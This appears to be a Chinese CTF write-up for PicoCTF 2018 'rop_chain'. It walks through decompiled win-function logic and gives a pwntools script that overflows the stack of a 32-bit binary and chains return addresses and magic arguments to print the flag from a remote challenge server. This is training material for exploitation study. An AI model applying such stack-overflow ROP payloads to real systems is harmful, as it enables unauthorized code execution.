32位,vuln()存在栈溢出,获取flag时,在flag()中存在判定,flag()代码如下:

int __cdecl flag(int a1)
{
  char s; // [esp+Ch] [ebp-3Ch]
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(&s, 48, stream);
  if ( win1 && win2 && a1 == 0xDEADBAAD )
    return printf("%s", &s);
  if ( win1 && win2 )
    return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
  if ( win1 || win2 )
    return puts("Nice Try! You're Getting There!");
  return puts("You won't get the flag that easy..");
}

满足存在win1、win2、a1 == 0xDEADBAAD时才能获取flag。

win_function1():

void win_function1()
{
  win1 = 1;
}

win_function2():

int __cdecl win_function2(int a1)
{
  int result; // eax

  result = (unsigned __int8)win1;
  if ( win1 && a1 == 0xBAAAAAAD )
  {
    win2 = 1;
  }
  else if ( win1 )
  {
    result = puts("Wrong Argument. Try Again.");
  }
  else
  {
    result = puts("Nope. Try a little bit harder.");
  }
  return result;
}

注意 win_function2()flag()都接受形参a1。在调用flag()之前,先调用win_function1()使win1 = 1,再调用win_function2()使a1=0xBAAAAAADwin2=1,返回地址填flag()的地址,最后让 a1=0xDEADBAAD即可。

from pwn import *

elf = ELF('./PicoCTF_2018_rop_chain')

local = 0
if local == 1:
    io = process('./PicoCTF_2018_rop_chain')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',26467)

payload = 'a'*0x18+p32(0xdeadbeef)+p32(0x80485CB)+p32(0x80485D8)+p32(0x804862B)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
io.recvuntil("input> ")
io.sendline(payload)

io.interactive()